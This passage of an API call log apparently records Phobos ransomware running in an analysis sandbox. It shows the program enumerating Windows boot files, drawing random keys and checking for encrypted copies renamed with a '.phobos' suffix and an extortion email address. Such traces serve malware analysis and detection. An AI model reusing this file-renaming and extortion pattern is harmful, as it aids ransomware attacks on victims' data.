"c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0162.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.417] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.417] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.417] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.417] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76640) returned 1 [0162.417] CloseHandle (hObject=0x290) returned 1 [0162.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0162.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.418] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.418] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.418] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.418] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45984) returned 1 [0162.418] CloseHandle (hObject=0x290) returned 1 [0162.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0162.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.440] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.440] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.440] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.441] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=74080) returned 1 [0162.441] CloseHandle (hObject=0x290) returned 1 [0162.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0162.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.441] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.442] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.442] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.442] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=54168) returned 1 [0162.442] CloseHandle (hObject=0x290) returned 1 [0162.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0162.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.443] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.443] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.443] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.443] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=92576) returned 1 [0162.444] CloseHandle (hObject=0x290) returned 1 [0162.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0162.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.444] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.444] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.444] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.444] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=12192) returned 1 [0162.444] CloseHandle (hObject=0x290) returned 1 [0162.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0162.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.445] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.445] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.445] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.445] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76128) returned 1 [0162.445] CloseHandle (hObject=0x290) returned 1 [0162.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0162.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.446] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.446] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.446] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.446] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77152) returned 1 [0162.446] CloseHandle (hObject=0x290) returned 1 [0162.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0162.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.446] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.446] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.446] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.447] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=44960) returned 1 [0162.447] CloseHandle (hObject=0x290) returned 1 [0162.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0162.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.448] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.448] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.448] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.449] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77144) returned 1 [0162.449] CloseHandle (hObject=0x290) returned 1 [0162.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0162.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.449] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.449] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.449] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.450] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76640) returned 1 [0162.450] CloseHandle (hObject=0x290) returned 1 [0162.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0162.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.450] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.450] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.450] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.450] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77152) returned 1 [0162.450] CloseHandle (hObject=0x290) returned 1 [0162.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0162.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.451] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.451] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.451] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.451] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=44888) returned 1 [0162.451] CloseHandle (hObject=0x290) returned 1 [0162.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0162.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.452] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.452] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.452] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.452] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77152) returned 1 [0162.452] CloseHandle (hObject=0x290) returned 1 [0162.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0162.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.453] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.453] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.453] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.453] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=76128) returned 1 [0162.453] CloseHandle (hObject=0x290) returned 1 [0162.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0162.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.454] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.454] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.454] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.454] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=44952) returned 1 [0162.454] CloseHandle (hObject=0x290) returned 1 [0162.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0162.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.455] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.455] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.455] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.455] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=75096) returned 1 [0162.455] CloseHandle (hObject=0x290) returned 1 [0162.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0162.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.456] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.456] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.456] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.456] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=45472) returned 1 [0162.456] CloseHandle (hObject=0x290) returned 1 [0162.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0162.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.456] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.457] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.457] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.457] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=77152) returned 1 [0162.457] CloseHandle (hObject=0x290) returned 1 [0162.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0162.457] 